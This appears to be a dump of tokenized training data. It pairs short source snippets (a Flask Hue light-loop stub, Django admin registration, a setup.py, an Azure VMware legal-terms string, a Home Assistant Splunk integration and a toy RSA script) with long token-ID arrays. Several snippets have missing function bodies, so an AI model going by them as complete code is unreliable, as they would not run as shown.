content
stringlengths
1
1.04M
input_ids
sequencelengths
1
774k
ratio_char_token
float64
0.38
22.9
token_count
int64
1
774k
#!/bin/python3 #Alexis Brunet alias AlexTheGeek #################### ## HUE COLOR LOOP ## #################### import time import os import requests from os.path import join, dirname from dotenv import load_dotenv from flask import Flask, render_template, request app = Flask(__name__) STARTING = '{"on":true,"bri":254,"xy":[0.3523,0.144],"effect":"colorloop"}' ENDING = '{"effect": "none"}' OFF = '{"on":false}' env_path = join(dirname(__file__), 'env') load_dotenv(env_path) ip = os.getenv('IP') api = os.getenv('API') group = os.getenv('GROUP') @app.route("/<deviceName>/") if __name__ == "__main__": app.run(host='0.0.0.0', port=8080)
[ 2, 48443, 8800, 14, 29412, 18, 198, 2, 15309, 271, 15700, 316, 16144, 4422, 464, 10082, 988, 198, 14468, 4242, 198, 2235, 367, 8924, 20444, 1581, 17579, 3185, 22492, 198, 14468, 4242, 198, 198, 11748, 640, 198, 11748, 28686, 198, 11748, 7007, 198, 6738, 28686, 13, 6978, 1330, 4654, 11, 26672, 3672, 198, 6738, 16605, 24330, 1330, 3440, 62, 26518, 24330, 198, 6738, 42903, 1330, 46947, 11, 8543, 62, 28243, 11, 2581, 198, 1324, 796, 46947, 7, 834, 3672, 834, 8, 198, 198, 2257, 7227, 2751, 796, 705, 4895, 261, 1298, 7942, 553, 65, 380, 1298, 24970, 553, 5431, 20598, 15, 13, 2327, 1954, 11, 15, 13, 18444, 17241, 10760, 2404, 8043, 26268, 20662, 6, 198, 10619, 2751, 796, 705, 4895, 10760, 1298, 366, 23108, 20662, 6, 198, 27977, 796, 705, 4895, 261, 1298, 9562, 92, 6, 198, 198, 24330, 62, 6978, 796, 4654, 7, 15908, 3672, 7, 834, 7753, 834, 828, 705, 24330, 11537, 198, 2220, 62, 26518, 24330, 7, 24330, 62, 6978, 8, 198, 198, 541, 796, 28686, 13, 1136, 24330, 10786, 4061, 11537, 198, 15042, 796, 28686, 13, 1136, 24330, 10786, 17614, 11537, 198, 8094, 796, 28686, 13, 1136, 24330, 10786, 46846, 11537, 628, 198, 31, 1324, 13, 38629, 7203, 14, 27, 25202, 5376, 29, 14, 4943, 628, 198, 361, 11593, 3672, 834, 6624, 366, 834, 12417, 834, 1298, 198, 220, 220, 220, 598, 13, 5143, 7, 4774, 11639, 15, 13, 15, 13, 15, 13, 15, 3256, 2493, 28, 1795, 1795, 8, 198 ]
2.646341
246
from django.contrib import admin from .models import * admin.site.register(IdentityProvider, IdentityProviderAdmin) admin.site.register(ExternalIdentity, ExternalIdentityAdmin)
[ 6738, 42625, 14208, 13, 3642, 822, 1330, 13169, 198, 198, 6738, 764, 27530, 1330, 1635, 628, 198, 28482, 13, 15654, 13, 30238, 7, 7390, 26858, 29495, 11, 27207, 29495, 46787, 8, 198, 198, 28482, 13, 15654, 13, 30238, 7, 41506, 7390, 26858, 11, 34579, 7390, 26858, 46787, 8, 198 ]
3.693878
49
from setuptools import setup, find_packages version = '0.0.5' setup( name="alerta-observium", version=version, description='Alerta webhook for Obseervium NMS', url='https://github.com/alerta/alerta-contrib', license='MIT', author='Iskren Hadzhinedev', author_email='[email protected]', packages=find_packages(), py_modules=['alerta_observium'], install_requires=[ 'python-dateutil' ], include_package_data=True, zip_safe=True, entry_points={ 'alerta.webhooks': [ 'observium = alerta_observium:ObserviumWebhook' ] } )
[ 6738, 900, 37623, 10141, 1330, 9058, 11, 1064, 62, 43789, 198, 198, 9641, 796, 705, 15, 13, 15, 13, 20, 6, 198, 198, 40406, 7, 198, 220, 220, 220, 1438, 2625, 44598, 64, 12, 672, 3168, 1505, 1600, 198, 220, 220, 220, 2196, 28, 9641, 11, 198, 220, 220, 220, 6764, 11639, 36420, 64, 3992, 25480, 329, 1835, 325, 712, 1505, 399, 5653, 3256, 198, 220, 220, 220, 19016, 11639, 5450, 1378, 12567, 13, 785, 14, 44598, 64, 14, 44598, 64, 12, 3642, 822, 3256, 198, 220, 220, 220, 5964, 11639, 36393, 3256, 198, 220, 220, 220, 1772, 11639, 3792, 74, 918, 11161, 23548, 1389, 1990, 3256, 198, 220, 220, 220, 1772, 62, 12888, 11639, 1984, 918, 13, 18108, 23548, 1389, 1990, 31, 87, 18, 1326, 13, 3262, 3256, 198, 220, 220, 220, 10392, 28, 19796, 62, 43789, 22784, 198, 220, 220, 220, 12972, 62, 18170, 28, 17816, 44598, 64, 62, 672, 3168, 1505, 6, 4357, 198, 220, 220, 220, 2721, 62, 47911, 41888, 198, 220, 220, 220, 220, 220, 220, 220, 705, 29412, 12, 4475, 22602, 6, 198, 220, 220, 220, 16589, 198, 220, 220, 220, 2291, 62, 26495, 62, 7890, 28, 17821, 11, 198, 220, 220, 220, 19974, 62, 21230, 28, 17821, 11, 198, 220, 220, 220, 5726, 62, 13033, 34758, 198, 220, 220, 220, 220, 220, 220, 220, 705, 44598, 64, 13, 12384, 25480, 82, 10354, 685, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 705, 672, 3168, 1505, 796, 7995, 64, 62, 672, 3168, 1505, 25, 31310, 712, 1505, 13908, 25480, 6, 198, 220, 220, 220, 220, 220, 220, 220, 2361, 198, 220, 220, 220, 1782, 198, 8, 198 ]
2.256318
277
# -------------------------------------------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # Licensed under the MIT License. See License.txt in the project root for license information. # -------------------------------------------------------------------------------------------- # pylint: disable=line-too-long from typing import List, Tuple from azext_vmware.vendored_sdks.avs_client import AVSClient LEGAL_TERMS = ''' LEGAL TERMS Azure VMware Solution ("AVS") is an Azure Service licensed to you as part of your Azure subscription and subject to the terms and conditions of the agreement under which you obtained your Azure subscription (https://azure.microsoft.com/support/legal/). The following additional terms also apply to your use of AVS: DATA RETENTION. AVS does not currently support retention or extraction of data stored in AVS Clusters. Once an AVS Cluster is deleted, the data cannot be recovered as it terminates all running workloads, components, and destroys all Cluster data and configuration settings, including public IP addresses. PROFESSIONAL SERVICES DATA TRANSFER TO VMWARE. In the event that you contact Microsoft for technical support relating to Azure VMware Solution and Microsoft must engage VMware for assistance with the issue, Microsoft will transfer the Professional Services Data and the Personal Data contained in the support case to VMware. The transfer is made subject to the terms of the Support Transfer Agreement between VMware and Microsoft, which establishes Microsoft and VMware as independent processors of the Professional Services Data. Before any transfer of Professional Services Data to VMware will occur, Microsoft will obtain and record consent from you for the transfer. VMWARE DATA PROCESSING AGREEMENT. Once Professional Services Data is transferred to VMware (pursuant to the above section), the processing of Professional Services Data, including the Personal Data contained the support case, by VMware as an independent processor will be governed by the VMware Data Processing Agreement for Microsoft AVS Customers Transferred for L3 Support (the "VMware Data Processing Agreement") between you and VMware (located at https://www.vmware.com/content/dam/digitalmarketing/vmware/en/pdf/privacy/vmware-data-processing-agreement.pdf). You also give authorization to allow your representative(s) who request technical support for Azure VMware Solution to provide consent on your behalf to Microsoft for the transfer of the Professional Services Data to VMware. ACCEPTANCE OF LEGAL TERMS. By continuing, you agree to the above additional Legal Terms for AVS. If you are an individual accepting these terms on behalf of an entity, you also represent that you have the legal authority to enter into these additional terms on that entity's behalf. '''
[ 2, 16529, 1783, 10541, 198, 2, 15069, 357, 66, 8, 5413, 10501, 13, 1439, 2489, 10395, 13, 198, 2, 49962, 739, 262, 17168, 13789, 13, 4091, 13789, 13, 14116, 287, 262, 1628, 6808, 329, 5964, 1321, 13, 198, 2, 16529, 1783, 10541, 198, 2, 279, 2645, 600, 25, 15560, 28, 1370, 12, 18820, 12, 6511, 198, 198, 6738, 19720, 1330, 7343, 11, 309, 29291, 198, 6738, 35560, 2302, 62, 14761, 1574, 13, 85, 437, 1850, 62, 21282, 591, 13, 615, 82, 62, 16366, 1330, 14661, 50, 11792, 198, 198, 2538, 38, 1847, 62, 5781, 5653, 796, 705, 7061, 198, 2538, 38, 1847, 28994, 5653, 198, 198, 26903, 495, 37754, 28186, 5855, 10116, 50, 4943, 318, 281, 22134, 4809, 11971, 284, 345, 355, 636, 286, 534, 22134, 14569, 290, 2426, 284, 262, 2846, 290, 3403, 286, 262, 4381, 739, 543, 345, 6492, 534, 22134, 14569, 357, 5450, 1378, 1031, 495, 13, 40485, 13, 785, 14, 11284, 14, 18011, 14, 737, 383, 1708, 3224, 2846, 635, 4174, 284, 534, 779, 286, 14661, 50, 25, 198, 198, 26947, 30826, 45589, 13, 14661, 50, 857, 407, 3058, 1104, 21545, 393, 22236, 286, 1366, 8574, 287, 14661, 50, 1012, 13654, 13, 4874, 281, 14661, 50, 38279, 318, 13140, 11, 262, 1366, 2314, 307, 11911, 355, 340, 5651, 689, 477, 2491, 26211, 82, 11, 6805, 11, 290, 27838, 477, 38279, 1366, 290, 8398, 6460, 11, 1390, 1171, 6101, 9405, 13, 198, 198, 4805, 19238, 47621, 1847, 49254, 42865, 44069, 24302, 5390, 569, 14326, 12203, 13, 554, 262, 1785, 326, 345, 2800, 5413, 329, 6276, 1104, 11270, 284, 22134, 37754, 28186, 290, 5413, 1276, 8209, 37754, 329, 6829, 351, 262, 2071, 11, 5413, 481, 4351, 262, 18612, 6168, 6060, 290, 262, 15644, 6060, 7763, 287, 262, 1104, 1339, 284, 37754, 13, 383, 4351, 318, 925, 2426, 284, 262, 2846, 286, 262, 7929, 20558, 12729, 1022, 37754, 290, 5413, 11, 543, 30742, 5413, 290, 37754, 355, 4795, 20399, 286, 262, 18612, 6168, 6060, 13, 7413, 597, 4351, 286, 18612, 6168, 6060, 284, 37754, 481, 3051, 11, 5413, 481, 7330, 290, 1700, 8281, 422, 345, 329, 262, 4351, 13, 198, 198, 53, 14326, 12203, 42865, 41755, 7597, 2751, 13077, 2200, 12529, 13, 4874, 18612, 6168, 6060, 318, 11172, 284, 37754, 357, 79, 1834, 84, 415, 284, 262, 2029, 2665, 828, 262, 7587, 286, 18612, 6168, 6060, 11, 1390, 262, 15644, 6060, 7763, 262, 1104, 1339, 11, 416, 37754, 355, 281, 4795, 12649, 481, 307, 21825, 416, 262, 37754, 6060, 28403, 12729, 329, 5413, 14661, 50, 36707, 3602, 18186, 329, 406, 18, 7929, 357, 1169, 366, 15996, 1574, 6060, 28403, 12729, 4943, 1022, 345, 290, 37754, 357, 75, 10533, 379, 3740, 1378, 2503, 13, 14761, 1574, 13, 785, 14, 11299, 14, 11043, 14, 34725, 10728, 278, 14, 14761, 1574, 14, 268, 14, 12315, 14, 13776, 1590, 14, 14761, 1574, 12, 7890, 12, 36948, 12, 363, 10237, 13, 12315, 737, 921, 635, 1577, 19601, 284, 1249, 534, 8852, 7, 82, 8, 508, 2581, 6276, 1104, 329, 22134, 37754, 28186, 284, 2148, 8281, 319, 534, 8378, 284, 5413, 329, 262, 4351, 286, 262, 18612, 6168, 6060, 284, 37754, 13, 198, 198, 2246, 42006, 19240, 3963, 20978, 1847, 28994, 5653, 13, 2750, 8282, 11, 345, 4236, 284, 262, 2029, 3224, 16027, 17637, 329, 14661, 50, 13, 1002, 345, 389, 281, 1981, 12598, 777, 2846, 319, 8378, 286, 281, 9312, 11, 345, 635, 2380, 326, 345, 423, 262, 2742, 4934, 284, 3802, 656, 777, 3224, 2846, 319, 326, 9312, 338, 8378, 13, 198, 7061, 6, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628, 628 ]
4.671875
640
from datetime import datetime from unittest.mock import Mock from sqlalchemy import create_engine from sqlalchemy.orm import scoped_session, sessionmaker # type: ignore from antarest.core.persistence import Base from antarest.core.utils.fastapi_sqlalchemy import DBSessionMiddleware, db from antarest.login.model import User, Group from antarest.study.model import ( Study, RawStudy, DEFAULT_WORKSPACE_NAME, StudyContentStatus, PublicMode, ) from antarest.study.repository import StudyMetadataRepository
[ 6738, 4818, 8079, 1330, 4818, 8079, 198, 6738, 555, 715, 395, 13, 76, 735, 1330, 44123, 198, 198, 6738, 44161, 282, 26599, 1330, 2251, 62, 18392, 198, 6738, 44161, 282, 26599, 13, 579, 1330, 629, 19458, 62, 29891, 11, 6246, 10297, 220, 1303, 2099, 25, 8856, 198, 198, 6738, 1885, 12423, 13, 7295, 13, 19276, 13274, 1330, 7308, 198, 6738, 1885, 12423, 13, 7295, 13, 26791, 13, 7217, 15042, 62, 25410, 282, 26599, 1330, 360, 4462, 2521, 34621, 1574, 11, 20613, 198, 6738, 1885, 12423, 13, 38235, 13, 19849, 1330, 11787, 11, 4912, 198, 6738, 1885, 12423, 13, 44517, 13, 19849, 1330, 357, 198, 220, 220, 220, 12481, 11, 198, 220, 220, 220, 16089, 39841, 11, 198, 220, 220, 220, 5550, 38865, 62, 33249, 4303, 11598, 62, 20608, 11, 198, 220, 220, 220, 12481, 19746, 19580, 11, 198, 220, 220, 220, 5094, 19076, 11, 198, 8, 198, 6738, 1885, 12423, 13, 44517, 13, 260, 1930, 37765, 1330, 12481, 9171, 14706, 6207, 13264, 628, 198 ]
3.22561
164
"""Support to send data to a Splunk instance.""" import asyncio from http import HTTPStatus import json import logging import time from aiohttp import ClientConnectionError, ClientResponseError from hass_splunk import SplunkPayloadError, hass_splunk import voluptuous as vol from homeassistant.const import ( CONF_HOST, CONF_NAME, CONF_PORT, CONF_SSL, CONF_TOKEN, CONF_VERIFY_SSL, EVENT_STATE_CHANGED, ) from homeassistant.helpers import state as state_helper from homeassistant.helpers.aiohttp_client import async_get_clientsession import homeassistant.helpers.config_validation as cv from homeassistant.helpers.entityfilter import FILTER_SCHEMA from homeassistant.helpers.json import JSONEncoder _LOGGER = logging.getLogger(__name__) DOMAIN = "splunk" CONF_FILTER = "filter" DEFAULT_HOST = "localhost" DEFAULT_PORT = 8088 DEFAULT_SSL = False DEFAULT_NAME = "HASS" CONFIG_SCHEMA = vol.Schema( { DOMAIN: vol.Schema( { vol.Required(CONF_TOKEN): cv.string, vol.Optional(CONF_HOST, default=DEFAULT_HOST): cv.string, vol.Optional(CONF_PORT, default=DEFAULT_PORT): cv.port, vol.Optional(CONF_SSL, default=False): cv.boolean, vol.Optional(CONF_VERIFY_SSL, default=True): cv.boolean, vol.Optional(CONF_NAME, default=DEFAULT_NAME): cv.string, vol.Optional(CONF_FILTER, default={}): FILTER_SCHEMA, } ) }, extra=vol.ALLOW_EXTRA, ) async def async_setup(hass, config): """Set up the Splunk component.""" conf = config[DOMAIN] host = conf.get(CONF_HOST) port = conf.get(CONF_PORT) token = conf.get(CONF_TOKEN) use_ssl = conf[CONF_SSL] verify_ssl = conf.get(CONF_VERIFY_SSL) name = conf.get(CONF_NAME) entity_filter = conf[CONF_FILTER] event_collector = hass_splunk( session=async_get_clientsession(hass), host=host, port=port, token=token, use_ssl=use_ssl, verify_ssl=verify_ssl, ) if not await event_collector.check(connectivity=False, token=True, busy=False): return False payload = { "time": time.time(), "host": name, "event": { "domain": DOMAIN, "meta": "Splunk integration has started", }, } await event_collector.queue(json.dumps(payload, cls=JSONEncoder), send=False) async def splunk_event_listener(event): """Listen for new messages on the bus and sends them to Splunk.""" state = event.data.get("new_state") if state is None or not entity_filter(state.entity_id): return try: _state = state_helper.state_as_number(state) except ValueError: _state = state.state payload = { "time": event.time_fired.timestamp(), "host": name, "event": { "domain": state.domain, "entity_id": state.object_id, "attributes": dict(state.attributes), "value": _state, }, } try: await event_collector.queue(json.dumps(payload, cls=JSONEncoder), send=True) except SplunkPayloadError as err: if err.status == HTTPStatus.UNAUTHORIZED: _LOGGER.error(err) else: _LOGGER.warning(err) except ClientConnectionError as err: _LOGGER.warning(err) except asyncio.TimeoutError: _LOGGER.warning("Connection to %s:%s timed out", host, port) except ClientResponseError as err: _LOGGER.error(err.message) hass.bus.async_listen(EVENT_STATE_CHANGED, splunk_event_listener) return True
[ 37811, 15514, 284, 3758, 1366, 284, 257, 13341, 2954, 4554, 526, 15931, 198, 11748, 30351, 952, 198, 6738, 2638, 1330, 14626, 19580, 198, 11748, 33918, 198, 11748, 18931, 198, 11748, 640, 198, 198, 6738, 257, 952, 4023, 1330, 20985, 32048, 12331, 11, 20985, 31077, 12331, 198, 6738, 468, 82, 62, 22018, 2954, 1330, 13341, 2954, 19197, 2220, 12331, 11, 468, 82, 62, 22018, 2954, 198, 11748, 2322, 37623, 5623, 355, 2322, 198, 198, 6738, 1363, 562, 10167, 13, 9979, 1330, 357, 198, 220, 220, 220, 7102, 37, 62, 39, 10892, 11, 198, 220, 220, 220, 7102, 37, 62, 20608, 11, 198, 220, 220, 220, 7102, 37, 62, 15490, 11, 198, 220, 220, 220, 7102, 37, 62, 31127, 11, 198, 220, 220, 220, 7102, 37, 62, 10468, 43959, 11, 198, 220, 220, 220, 7102, 37, 62, 5959, 5064, 56, 62, 31127, 11, 198, 220, 220, 220, 49261, 62, 44724, 62, 3398, 15567, 1961, 11, 198, 8, 198, 6738, 1363, 562, 10167, 13, 16794, 364, 1330, 1181, 355, 1181, 62, 2978, 525, 198, 6738, 1363, 562, 10167, 13, 16794, 364, 13, 64, 952, 4023, 62, 16366, 1330, 30351, 62, 1136, 62, 565, 2334, 2521, 198, 11748, 1363, 562, 10167, 13, 16794, 364, 13, 11250, 62, 12102, 341, 355, 269, 85, 198, 6738, 1363, 562, 10167, 13, 16794, 364, 13, 26858, 24455, 1330, 34020, 5781, 62, 50, 3398, 27630, 198, 6738, 1363, 562, 10167, 13, 16794, 364, 13, 17752, 1330, 19449, 27195, 12342, 198, 198, 62, 25294, 30373, 796, 18931, 13, 1136, 11187, 1362, 7, 834, 3672, 834, 8, 198, 198, 39170, 29833, 796, 366, 22018, 2954, 1, 198, 10943, 37, 62, 46700, 5781, 796, 366, 24455, 1, 198, 198, 7206, 38865, 62, 39, 10892, 796, 366, 36750, 1, 198, 7206, 38865, 62, 15490, 796, 41241, 23, 198, 7206, 38865, 62, 31127, 796, 10352, 198, 7206, 38865, 62, 20608, 796, 366, 39, 10705, 1, 198, 198, 10943, 16254, 62, 50, 3398, 27630, 796, 2322, 13, 27054, 2611, 7, 198, 220, 220, 220, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 24121, 29833, 25, 2322, 13, 27054, 2611, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2322, 13, 37374, 7, 10943, 37, 62, 10468, 43959, 2599, 269, 85, 13, 8841, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2322, 13, 30719, 7, 10943, 37, 62, 39, 10892, 11, 4277, 28, 7206, 38865, 62, 39, 10892, 2599, 269, 85, 13, 8841, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2322, 13, 30719, 7, 10943, 37, 62, 15490, 11, 4277, 28, 7206, 38865, 62, 15490, 2599, 269, 85, 13, 634, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2322, 13, 30719, 7, 10943, 37, 62, 31127, 11, 4277, 28, 25101, 2599, 269, 85, 13, 2127, 21052, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2322, 13, 30719, 7, 10943, 37, 62, 5959, 5064, 56, 62, 31127, 11, 4277, 28, 17821, 2599, 269, 85, 13, 2127, 21052, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2322, 13, 30719, 7, 10943, 37, 62, 20608, 11, 4277, 28, 7206, 38865, 62, 20608, 2599, 269, 85, 13, 8841, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2322, 13, 30719, 7, 10943, 37, 62, 46700, 5781, 11, 4277, 34758, 92, 2599, 34020, 5781, 62, 50, 3398, 27630, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1782, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 8964, 198, 220, 220, 220, 3131, 28, 10396, 13, 7036, 3913, 62, 13918, 3861, 11, 198, 8, 628, 198, 292, 13361, 825, 30351, 62, 40406, 7, 71, 562, 11, 4566, 2599, 198, 220, 220, 220, 37227, 7248, 510, 262, 13341, 2954, 7515, 526, 15931, 198, 220, 220, 220, 1013, 796, 4566, 58, 39170, 29833, 60, 198, 220, 220, 220, 2583, 796, 1013, 13, 1136, 7, 10943, 37, 62, 39, 10892, 8, 198, 220, 220, 220, 2493, 796, 1013, 13, 1136, 7, 10943, 37, 62, 15490, 8, 198, 220, 220, 220, 11241, 796, 1013, 13, 1136, 7, 10943, 37, 62, 10468, 43959, 8, 198, 220, 220, 220, 779, 62, 45163, 796, 1013, 58, 10943, 37, 62, 31127, 60, 198, 220, 220, 220, 11767, 62, 45163, 796, 1013, 13, 1136, 7, 10943, 37, 62, 5959, 5064, 56, 62, 31127, 8, 198, 220, 220, 220, 1438, 796, 1013, 13, 1136, 7, 10943, 37, 62, 20608, 8, 198, 220, 220, 220, 9312, 62, 24455, 796, 1013, 58, 10943, 37, 62, 46700, 5781, 60, 628, 220, 220, 220, 1785, 62, 33327, 273, 796, 468, 82, 62, 22018, 2954, 7, 198, 220, 220, 220, 220, 220, 220, 220, 6246, 28, 292, 13361, 62, 1136, 62, 565, 2334, 2521, 7, 71, 562, 828, 198, 220, 220, 220, 220, 220, 220, 220, 2583, 28, 4774, 11, 198, 220, 220, 220, 220, 220, 220, 220, 2493, 28, 634, 11, 198, 220, 220, 220, 220, 220, 220, 220, 11241, 28, 30001, 11, 198, 220, 220, 220, 220, 220, 220, 220, 779, 62, 45163, 28, 1904, 62, 45163, 11, 198, 220, 220, 220, 220, 220, 220, 220, 11767, 62, 45163, 28, 332, 1958, 62, 45163, 11, 198, 220, 220, 220, 1267, 628, 220, 220, 220, 611, 407, 25507, 1785, 62, 33327, 273, 13, 9122, 7, 8443, 3458, 28, 25101, 11, 11241, 28, 17821, 11, 8179, 28, 25101, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 1441, 10352, 628, 220, 220, 220, 21437, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 366, 2435, 1298, 640, 13, 2435, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 366, 4774, 1298, 1438, 11, 198, 220, 220, 220, 220, 220, 220, 220, 366, 15596, 1298, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 27830, 1298, 24121, 29833, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 28961, 1298, 366, 26568, 2954, 11812, 468, 2067, 1600, 198, 220, 220, 220, 220, 220, 220, 220, 8964, 198, 220, 220, 220, 1782, 628, 220, 220, 220, 25507, 1785, 62, 33327, 273, 13, 36560, 7, 17752, 13, 67, 8142, 7, 15577, 2220, 11, 537, 82, 28, 40386, 27195, 12342, 828, 3758, 28, 25101, 8, 628, 220, 220, 220, 30351, 825, 4328, 2954, 62, 15596, 62, 4868, 877, 7, 15596, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 23061, 329, 649, 6218, 319, 262, 1323, 290, 12800, 606, 284, 13341, 2954, 526, 15931, 628, 220, 220, 220, 220, 220, 220, 220, 1181, 796, 1785, 13, 7890, 13, 1136, 7203, 3605, 62, 5219, 4943, 198, 220, 220, 220, 220, 220, 220, 220, 611, 1181, 318, 6045, 393, 407, 9312, 62, 24455, 7, 5219, 13, 26858, 62, 312, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1441, 628, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 5219, 796, 1181, 62, 2978, 525, 13, 5219, 62, 292, 62, 17618, 7, 5219, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 11052, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 5219, 796, 1181, 13, 5219, 628, 220, 220, 220, 220, 220, 220, 220, 21437, 796, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 2435, 1298, 1785, 13, 2435, 62, 26803, 13, 16514, 27823, 22784, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 4774, 1298, 1438, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 15596, 1298, 1391, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 27830, 1298, 1181, 13, 27830, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 26858, 62, 312, 1298, 1181, 13, 15252, 62, 312, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 1078, 7657, 1298, 8633, 7, 5219, 13, 1078, 7657, 828, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 366, 8367, 1298, 4808, 5219, 11, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 8964, 198, 220, 220, 220, 220, 220, 220, 220, 1782, 628, 220, 220, 220, 220, 220, 220, 220, 1949, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 25507, 1785, 62, 33327, 273, 13, 36560, 7, 17752, 13, 67, 8142, 7, 15577, 2220, 11, 537, 82, 28, 40386, 27195, 12342, 828, 3758, 28, 17821, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 13341, 2954, 19197, 2220, 12331, 355, 11454, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 11454, 13, 13376, 6624, 14626, 19580, 13, 52, 4535, 24318, 1581, 14887, 1961, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 25294, 30373, 13, 18224, 7, 8056, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 25294, 30373, 13, 43917, 7, 8056, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 20985, 32048, 12331, 355, 11454, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 25294, 30373, 13, 43917, 7, 8056, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 30351, 952, 13, 48031, 12331, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 25294, 30373, 13, 43917, 7203, 32048, 284, 4064, 82, 25, 4, 82, 28805, 503, 1600, 2583, 11, 2493, 8, 198, 220, 220, 220, 220, 220, 220, 220, 2845, 20985, 31077, 12331, 355, 11454, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 4808, 25294, 30373, 13, 18224, 7, 8056, 13, 20500, 8, 628, 220, 220, 220, 468, 82, 13, 10885, 13, 292, 13361, 62, 4868, 268, 7, 20114, 3525, 62, 44724, 62, 3398, 15567, 1961, 11, 4328, 2954, 62, 15596, 62, 4868, 877, 8, 628, 220, 220, 220, 1441, 6407, 198 ]
2.154897
1,756
import random alf=["а","б","в","г","д","е","ё","ж","з","и","й","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ъ","ы","ь","э","ю","я",".",",",":","?"] zam=[0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36] p=17 q=11 file=open('text.txt',encoding='utf-8') st1=list(file.read()) file.close() print(st1) f,f2=rsa(st1,p,q) s=sum(f) print(s) print(f,f2)
[ 11748, 4738, 201, 198, 201, 198, 201, 198, 1604, 28, 14692, 16142, 2430, 140, 109, 2430, 38857, 2430, 140, 111, 2430, 43666, 2430, 16843, 2430, 141, 239, 2430, 140, 114, 2430, 140, 115, 2430, 18849, 2430, 140, 117, 2430, 31583, 2430, 30143, 2430, 43108, 2430, 22177, 2430, 15166, 2430, 140, 123, 2430, 21169, 2430, 21727, 2430, 20375, 2430, 35072, 2430, 141, 226, 2430, 141, 227, 2430, 141, 228, 2430, 141, 229, 2430, 141, 230, 2430, 141, 231, 2430, 141, 232, 2430, 45035, 2430, 45367, 2430, 141, 235, 2430, 141, 236, 2430, 40623, 2430, 41424, 553, 553, 25, 2430, 1701, 60, 201, 198, 89, 321, 41888, 15, 11, 16, 11, 17, 11, 18, 11, 19, 11, 20, 11, 21, 11, 22, 11, 23, 11, 24, 11, 940, 11, 1157, 11, 1065, 11, 1485, 11, 1415, 11, 1314, 11, 1433, 11, 1558, 11, 1507, 11, 1129, 11, 1238, 11, 2481, 11, 1828, 11, 1954, 11, 1731, 11, 1495, 11, 2075, 11, 1983, 11, 2078, 11, 1959, 11, 1270, 11, 3132, 11, 2624, 11, 2091, 11, 2682, 11, 2327, 11, 2623, 60, 201, 198, 79, 28, 1558, 201, 198, 80, 28, 1157, 201, 198, 7753, 28, 9654, 10786, 5239, 13, 14116, 3256, 12685, 7656, 11639, 40477, 12, 23, 11537, 201, 198, 301, 16, 28, 4868, 7, 7753, 13, 961, 28955, 201, 198, 7753, 13, 19836, 3419, 201, 198, 4798, 7, 301, 16, 8, 201, 198, 69, 11, 69, 17, 28, 3808, 64, 7, 301, 16, 11, 79, 11, 80, 8, 201, 198, 82, 28, 16345, 7, 69, 8, 201, 198, 4798, 7, 82, 8, 201, 198, 4798, 7, 69, 11, 69, 17, 